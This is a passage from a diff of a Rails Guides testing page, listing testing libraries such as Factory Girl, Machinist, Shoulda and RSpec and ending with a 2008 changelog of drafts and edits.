"NullDB":http://avdi.org/projects/nulldb/, a way to speed up testing by avoiding database use. +* "Factory Girl":http://github.com/thoughtbot/factory_girl/tree/master, as replacement for fixtures. +* "Machinist":http://github.com/notahat/machinist/tree/master, another replacement for fixtures. +* "Shoulda":http://www.thoughtbot.com/projects/shoulda, an extension to +test/unit+ with additional helpers, macros, and assertions. +* "RSpec":http://rspec.info/, a behavior-driven development framework + +h3. Changelog + +"Lighthouse ticket":http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/8 + +* November 13, 2008: Revised based on feedback from Pratik Naik by "Akshay Surve":credits.html#asurve (not yet approved for publication) +* October 14, 2008: Edit and formatting pass by "Mike Gunderloy":credits.html#mgunderloy (not yet approved for publication) +* October 12, 2008: First draft by "Akshay Surve":credits.html#asurve (not yet approved for publication) + |